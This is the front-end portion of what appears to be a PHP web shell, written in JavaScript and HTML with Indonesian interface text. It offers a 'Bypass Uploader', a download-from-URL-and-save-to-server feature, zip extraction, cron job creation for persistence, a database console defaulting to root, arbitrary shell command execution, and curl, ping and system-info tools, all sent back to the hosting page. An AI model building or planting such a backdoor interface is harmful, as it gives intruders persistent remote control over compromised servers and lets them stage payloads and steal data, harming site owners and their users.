resultDiv.innerHTML = '<div class="loading"></div> Uploading...';
let completed = 0;
let success = 0;
let failed = 0;
const total = fileInput.files.length;
for (let i = 0; i < total; i++) {
const formData = new FormData();
formData.append('ajax_action', 'upload_file');
formData.append('cwd', targetDir);
formData.append('file', fileInput.files[i]);
const xhr = new XMLHttpRequest();
xhr.open('POST', window.location.href, true);
xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
xhr.onload = function() {
completed++;
if (xhr.status === 200) {
try {
const res = JSON.parse(xhr.responseText);
if (res.status === 'success') success++;
else failed++;
} catch(e) { failed++; }
} else { failed++; }
resultDiv.innerHTML = `<div>Uploading: ${completed}/${total} | โ
${success} | โ ${failed}</div>`;
if (completed === total) {
resultDiv.innerHTML += `<div class="success">โ
Upload complete: ${success} success, ${failed} failed</div>`;
document.getElementById('multiFileInput').value = '';
document.getElementById('multiFileList').innerHTML = '';
}
};
xhr.send(formData);
}
}
// ========== RAW URL UPLOAD ==========
function renderRawUpload() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>๐ฅ Raw URL Upload</h2>
<div style="background:#111;padding:15px;margin:10px 0">
<label><strong>URL:</strong></label>
<input type="text" id="rawUrl" style="width:100%" placeholder="https://example.com/file.zip">
</div>
<div style="background:#111;padding:15px;margin:10px 0">
<label><strong>Save as (opsional):</strong></label>
<input type="text" id="rawFilename" style="width:100%" placeholder="Kosong = auto detect">
</div>
<div style="background:#111;padding:15px;margin:10px 0">
<label><strong>๐ Save Path:</strong></label>
<input type="text" id="rawSavePath" style="width:100%" value="${currentPath}">
</div>
<div style="background:#111;padding:15px;margin:10px 0">
<label><strong>๐ Rewrite Mode:</strong></label>
<select id="rawRewriteMode">
<option value="skip">Skip if exists</option>
<option value="backup">Backup then overwrite</option>
<option value="overwrite">Overwrite</option>
</select>
</div>
<button onclick="processRawUpload()">๐ฅ Download & Save</button>
<div id="rawResult"></div>
</div>
`;
}
function processRawUpload() {
const url = document.getElementById('rawUrl').value;
if (!url) return alert('Masukkan URL');
const resultDiv = document.getElementById('rawResult');
resultDiv.innerHTML = '<div class="loading"></div> Downloading...';
ajaxPost({
ajax_action: 'raw_upload',
raw_url: url,
filename: document.getElementById('rawFilename').value,
save_path: document.getElementById('rawSavePath').value,
rewrite_mode: document.getElementById('rawRewriteMode').value
}, function(res) {
if (res.status === 'success') {
resultDiv.innerHTML = `<div class="success">
โ
Downloaded: ${escapeHtml(res.file)} (${res.size})
</div>`;
} else {
resultDiv.innerHTML = `<div class="error">โ ${res.message}</div>`;
}
});
}
// ========== BYPASS UPLOADER ==========
function renderBypassUploader() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>๐ Bypass Uploader</h2>
<div class="dropzone" onclick="document.getElementById('bypassFileInput').click()">
๐ Click to select file
</div>
<input type="file" id="bypassFileInput" style="display:none">
<button onclick="processBypassUpload()">๐ Upload</button>
<div id="bypassResult"></div>
</div>
`;
}
function processBypassUpload() {
const fileInput = document.getElementById('bypassFileInput');
if (!fileInput.files.length) return alert('Pilih file');
const formData = new FormData();
formData.append('ajax_action', 'upload_file');
formData.append('cwd', currentPath);
formData.append('file', fileInput.files[0]);
const resultDiv = document.getElementById('bypassResult');
resultDiv.innerHTML = '<div class="loading"></div> Uploading...';
const xhr = new XMLHttpRequest();
xhr.open('POST', window.location.href, true);
xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
xhr.onload = function() {
if (xhr.status === 200) {
try {
const res = JSON.parse(xhr.responseText);
resultDiv.innerHTML = `<div class="success">โ
${res.message}</div>`;
fileInput.value = '';
} catch(e) {
resultDiv.innerHTML = `<div class="error">Error: ${e.message}</div>`;
}
} else {
resultDiv.innerHTML = `<div class="error">Upload failed</div>`;
}
};
xhr.send(formData);
}
// ========== EXTRACT MANAGER ==========
function renderExtractManager() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>๐ฆ Extract / Unzip Files</h2>
<div style="background:#111;padding:15px;margin:10px 0">
<label><strong>๐ฆ ZIP File:</strong></label>
<input type="text" id="extractZipFile" style="width:100%" placeholder="/path/to/file.zip">
</div>
<div style="background:#111;padding:15px;margin:10px 0">
<label><strong>๐ Extract To:</strong></label>
<input type="text" id="extractTo" style="width:100%" value="${currentPath}">
</div>
<button onclick="processExtract()">๐ฆ Extract Now</button>
<div id="extractResult"></div>
</div>
`;
}
function processExtract() {
const zipFile = document.getElementById('extractZipFile').value;
const extractTo = document.getElementById('extractTo').value;
if (!zipFile) return alert('Masukkan path ZIP file');
const resultDiv = document.getElementById('extractResult');
resultDiv.innerHTML = '<div class="loading"></div> Extracting...';
ajaxPost({ajax_action: 'extract_zip', zip_file: zipFile, extract_to: extractTo}, function(res) {
if (res.status === 'success') {
resultDiv.innerHTML = `<div class="success">โ
${res.message}<br>๐ Target: ${escapeHtml(res.target)}</div>`;
} else {
resultDiv.innerHTML = `<div class="error">โ ${res.message}</div>`;
}
});
}
// ========== CRON MANAGER ==========
function renderCronManager() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>โฐ Cron Job Manager</h2>
<div style="background:#111;padding:15px;margin:10px 0">
<h3>โ Add Cron Job</h3>
<input type="text" id="cronSchedule" style="width:100%" placeholder="* * * * *" value="* * * * *">
<input type="text" id="cronCommand" style="width:100%;margin-top:10px" placeholder="/usr/bin/php /path/to/script.php">
<button onclick="addCron()" style="margin-top:10px">Add Cron</button>
</div>
<div id="cronList"></div>
<div class="info" style="margin-top:15px">
<pre>Cron Format: * * * * * command
โ โ โ โ โ
โ โ โ โ โโ Day of week (0-7, 0 or 7 = Sunday)
โ โ โ โโโโ Month (1-12)
โ โ โโโโโโ Day of month (1-31)
โ โโโโโโโโ Hour (0-23)
โโโโโโโโโโ Minute (0-59)</pre>
</div>
</div>
`;
refreshCronList();
}
function refreshCronList() {
ajaxPost({ajax_action: 'cron_list'}, function(res) {
const cronDiv = document.getElementById('cronList');
if (res.status === 'success' && res.output && !res.output.includes('no crontab')) {
const lines = res.output.split('\n');
let html = '<h3>๐ Current Crontab</h3><table style="width:100%"><tr><th>Schedule</th><th>Command</th><th>Action</th></tr>';
for (let i = 0; i < lines.length; i++) {
const line = lines[i].trim();
if (line && !line.startsWith('#')) {
const parts = line.split(' ');
const schedule = parts.slice(0, 5).join(' ');
const command = parts.slice(5).join(' ');
html += `<tr>
<td><code>${escapeHtml(schedule)}</code></td>
<td><code>${escapeHtml(command)}</code></td>
<td><button class="btn-small btn-danger" onclick="deleteCronLine(${i})">Delete</button></td>
</tr>`;
}
}
html += `</table>`;
cronDiv.innerHTML = html;
} else {
cronDiv.innerHTML = '<div class="warning">No crontab for this user</div>';
}
});
}
function addCron() {
const schedule = document.getElementById('cronSchedule').value;
const command = document.getElementById('cronCommand').value;
if (!command) return alert('Masukkan command');
ajaxPost({ajax_action: 'cron_add', schedule: schedule, command: command}, function(res) {
if (res.status === 'success') {
alert('Cron job added successfully');
refreshCronList();
document.getElementById('cronCommand').value = '';
} else {
alert('Failed to add cron: ' + (res.message || 'Unknown error'));
}
});
}
function deleteCronLine(lineNum) {
if (!confirm('Delete this cron job?')) return;
ajaxPost({ajax_action: 'cron_delete', line: lineNum}, function(res) {
if (res.status === 'success') {
alert('Cron job deleted');
refreshCronList();
} else {
alert('Failed to delete cron: ' + (res.message || 'Unknown error'));
}
});
}
// ========== DATABASE MANAGER ==========
function renderDbManager() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>๐๏ธ Database Manager</h2>
<div style="background:#111;padding:15px;margin:10px 0">
<h3>๐ Database Connection</h3>
<input type="text" id="dbHost" placeholder="Host" value="localhost" style="width:100%">
<input type="text" id="dbUser" placeholder="Username" value="root" style="width:100%;margin-top:10px">
<input type="password" id="dbPass" placeholder="Password" style="width:100%;margin-top:10px">
<input type="text" id="dbName" placeholder="Database Name (optional)" style="width:100%;margin-top:10px">
<input type="text" id="dbPort" placeholder="Port" value="3306" style="width:100%;margin-top:10px">
<button onclick="connectDatabase()" style="margin-top:10px">๐ Connect</button>
</div>
<div id="dbResult"></div>
</div>
`;
}
function connectDatabase() {
dbConfig = {
host: document.getElementById('dbHost').value,
user: document.getElementById('dbUser').value,
pass: document.getElementById('dbPass').value,
name: document.getElementById('dbName').value,
port: document.getElementById('dbPort').value
};
const resultDiv = document.getElementById('dbResult');
resultDiv.innerHTML = '<div class="loading"></div> Connecting...';
ajaxPost({ajax_action: 'db_connect', ...dbConfig}, function(res) {
if (res.status === 'success') {
let html = `<div class="success">โ
Connected successfully!</div>`;
if (res.databases && res.databases.length) {
html += `<h3>๐ Databases</h3><select id="dbSelect" onchange="selectDatabase()" style="width:100%">`;
for (let db of res.databases) {
html += `<option value="${escapeHtml(db)}" ${db === dbConfig.name ? 'selected' : ''}>${escapeHtml(db)}</option>`;
}
html += `</select><br><br>`;
}
if (res.tables && res.tables.length) {
html += `<h3>๐ Tables in ${escapeHtml(dbConfig.name)}</h3>
<div style="display:flex;flex-wrap:wrap;gap:10px">`;
for (let table of res.tables) {
html += `<button class="btn-small" onclick="browseTable('${escapeHtml(table)}')">๐ ${escapeHtml(table)}</button>`;
}
html += `</div>`;
}
html += `<div style="margin-top:20px">
<h3>๐ SQL Query</h3>
<textarea id="sqlQuery" style="width:100%;height:150px" placeholder="SELECT * FROM ..."></textarea>
<button onclick="executeQuery()" style="margin-top:10px">โถ๏ธ Execute</button>
</div>
<div id="queryResult"></div>`;
resultDiv.innerHTML = html;
} else {
resultDiv.innerHTML = `<div class="error">โ Connection failed: ${escapeHtml(res.message)}</div>`;
}
});
}
function selectDatabase() {
dbConfig.name = document.getElementById('dbSelect').value;
connectDatabase();
}
function browseTable(tableName) {
const resultDiv = document.getElementById('dbResult');
resultDiv.innerHTML = '<div class="loading"></div> Loading table...';
ajaxPost({ajax_action: 'db_browse_table', ...dbConfig, table: tableName}, function(res) {
if (res.status === 'success') {
let html = `<h3>๐ Table: ${escapeHtml(tableName)}</h3>`;
if (res.columns && res.columns.length) {
html += `<div class="file-table-wrapper"><table class="db-table">
<thead><tr>`;
for (let col of res.columns) {
html += `<th>${escapeHtml(col)}</th>`;
}
html += `</thead><tbody>`;
for (let row of res.rows) {
html += `<tr>`;
for (let col of res.columns) {
html += `<td><div style="max-width:300px;overflow-x:auto">${escapeHtml(row[col] || 'NULL')}</div></td>`;
}
html += `</tr>`;
}
html += `</tbody></table></div>`;
html += `<button onclick="connectDatabase()" style="margin-top:15px">โฌ
๏ธ Back</button>`;
}
resultDiv.innerHTML = html;
} else {
resultDiv.innerHTML = `<div class="error">โ ${escapeHtml(res.message)}</div>`;
}
});
}
function executeQuery() {
const query = document.getElementById('sqlQuery').value;
if (!query) return alert('Masukkan SQL query');
const resultDiv = document.getElementById('queryResult');
resultDiv.innerHTML = '<div class="loading"></div> Executing query...';
ajaxPost({ajax_action: 'db_query', ...dbConfig, query: query}, function(res) {
if (res.status === 'success') {
if (res.results && res.results.length) {
const columns = Object.keys(res.results[0]);
let html = `<div class="file-table-wrapper"><table class="db-table">
<thead><tr>`;
for (let col of columns) {
html += `<th>${escapeHtml(col)}</th>`;
}
html += `</thead><tbody>`;
for (let row of res.results) {
html += `<tr>`;
for (let col of columns) {
html += `<td><div style="max-width:300px;overflow-x:auto">${escapeHtml(row[col] || 'NULL')}</div></td>`;
}
html += `</tr>`;
}
html += `</tbody></table></div>`;
html += `<div class="success">โ
${res.results.length} row(s) returned</div>`;
resultDiv.innerHTML = html;
} else {
resultDiv.innerHTML = `<div class="success">โ
Query executed successfully, no results returned</div>`;
}
} else {
resultDiv.innerHTML = `<div class="error">โ ${escapeHtml(res.message)}</div>`;
}
});
}
// ========== COMMAND ==========
function renderCommand() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>โจ๏ธ Command Execution</h2>
<div style="display:flex;gap:10px;flex-wrap:wrap">
<input type="text" id="cmdInput" style="flex:1" placeholder="ls -la" onkeypress="if(event.keyCode===13) executeCommand()">
<button onclick="executeCommand()">Execute</button>
</div>
<div id="cmdOutput" style="background:#0a0a0a;padding:15px;margin-top:15px;border:1px solid #333;overflow:auto;max-height:500px;border-radius:5px"></div>
</div>
`;
}
function executeCommand() {
const cmd = document.getElementById('cmdInput').value;
if (!cmd) return;
const outputDiv = document.getElementById('cmdOutput');
outputDiv.innerHTML = '<div><div class="loading"></div> Executing...</div>';
ajaxPost({ajax_action: 'execute_cmd', cmd: cmd}, function(res) {
if (res.status === 'success') {
outputDiv.innerHTML = `<pre style="margin:0;white-space:pre-wrap;word-wrap:break-word">${escapeHtml(res.output)}</pre>`;
} else {
outputDiv.innerHTML = `<div class="error">Error: ${res.message}</div>`;
}
});
}
// ========== SECURITY SCAN ==========
function renderSecurityScan() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>๐ Security Scan</h2>
<button onclick="runSecurityScan()">๐ก๏ธ Run Security Scan</button>
<div id="securityResult"></div>
</div>
`;
}
function runSecurityScan() {
const resultDiv = document.getElementById('securityResult');
resultDiv.innerHTML = '<div class="loading"></div> Scanning...';
ajaxPost({ajax_action: 'security_scan'}, function(res) {
if (res.status === 'success') {
let html = '<div class="success"><h3>โ
Scan Complete</h3></div><pre>';
for (let item of res.info) {
html += item + '\n';
}
html += '</pre>';
resultDiv.innerHTML = html;
} else {
resultDiv.innerHTML = `<div class="error">${res.message}</div>`;
}
});
}
// ========== NETWORK TOOLS ==========
function renderNetworkTools() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>๐ Network Tools</h2>
<div class="tab-buttons">
<button class="tab-btn active" onclick="showNetworkTab('ping')">๐ก Ping</button>
<button class="tab-btn" onclick="showNetworkTab('curl')">๐ cURL</button>
<button class="tab-btn" onclick="showNetworkTab('nslookup')">๐ NSLookup</button>
</div>
<div id="pingTab" class="tab-content active">
<h3>Ping</h3>
<div style="display:flex;gap:10px">
<input type="text" id="pingHost" style="flex:1" placeholder="google.com">
<button onclick="doPing()">Ping</button>
</div>
</div>
<div id="curlTab" class="tab-content">
<h3>cURL</h3>
<div style="display:flex;gap:10px">
<input type="text" id="curlUrl" style="flex:1" placeholder="https://example.com">
<button onclick="doCurl()">cURL</button>
</div>
</div>
<div id="nslookupTab" class="tab-content">
<h3>NSLookup</h3>
<div style="display:flex;gap:10px">
<input type="text" id="nslookupDomain" style="flex:1" placeholder="google.com">
<button onclick="doNslookup()">Lookup</button>
</div>
</div>
<div id="networkResult" style="background:#0a0a0a;padding:15px;margin-top:15px;border:1px solid #333;overflow:auto;max-height:400px"></div>
</div>
`;
}
function showNetworkTab(tab) {
const pingTab = document.getElementById('pingTab');
const curlTab = document.getElementById('curlTab');
const nslookupTab = document.getElementById('nslookupTab');
const btns = document.querySelectorAll('.tab-btn');
pingTab.classList.remove('active');
curlTab.classList.remove('active');
nslookupTab.classList.remove('active');
btns.forEach(btn => btn.classList.remove('active'));
if (tab === 'ping') {
pingTab.classList.add('active');
btns[0].classList.add('active');
} else if (tab === 'curl') {
curlTab.classList.add('active');
btns[1].classList.add('active');
} else {
nslookupTab.classList.add('active');
btns[2].classList.add('active');
}
}
function doPing() {
const host = document.getElementById('pingHost').value;
if (!host) return alert('Masukkan host');
const resultDiv = document.getElementById('networkResult');
resultDiv.innerHTML = '<div class="loading"></div> Pinging...';
ajaxPost({ajax_action: 'network_ping', host: host}, function(res) {
if (res.status === 'success') {
resultDiv.innerHTML = `<pre>${escapeHtml(res.output)}</pre>`;
} else {
resultDiv.innerHTML = `<div class="error">Error: ${res.message}</div>`;
}
});
}
function doCurl() {
const url = document.getElementById('curlUrl').value;
if (!url) return alert('Masukkan URL');
const resultDiv = document.getElementById('networkResult');
resultDiv.innerHTML = '<div class="loading"></div> Fetching...';
ajaxPost({ajax_action: 'network_curl', url: url}, function(res) {
if (res.status === 'success') {
resultDiv.innerHTML = `<pre>${escapeHtml(res.output)}</pre>`;
} else {
resultDiv.innerHTML = `<div class="error">Error: ${res.message}</div>`;
}
});
}
function doNslookup() {
const domain = document.getElementById('nslookupDomain').value;
if (!domain) return alert('Masukkan domain');
const resultDiv = document.getElementById('networkResult');
resultDiv.innerHTML = '<div class="loading"></div> Looking up...';
ajaxPost({ajax_action: 'network_nslookup', domain: domain}, function(res) {
if (res.status === 'success') {
resultDiv.innerHTML = `<pre>${escapeHtml(res.output)}</pre>`;
} else {
resultDiv.innerHTML = `<div class="error">Error: ${res.message}</div>`;
}
});
}
// ========== INFO ==========
function renderInfo() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>โน๏ธ System Information</h2>
<button onclick="refreshInfo()">๐ Refresh</button>
<div id="infoResult" style="margin-top:15px"></div>
</div>
`;
refreshInfo();
}
function refreshInfo() {
const div = document.getElementById('infoResult');
div.innerHTML = '<div class="loading"></div> Loading system info...';
ajaxPost({ajax_action: 'get_info'}, function(res) {
if (res.status === 'success') {
let html = '<table class="info-table">';
for (let [key, value] of Object.entries(res.info)) {
html += `<tr><th>${escapeHtml(key)}</th><td>${escapeHtml(String(value))}</td></tr>`;
}
html += `</table>`;
div.innerHTML = html;
} else {
div.innerHTML = `<div class="error">${res.message}</div>`;
}
});
}
// Initialize
buildMenu();
loadAction('filemanager');
</script>
</body>
</html>
<?php
?>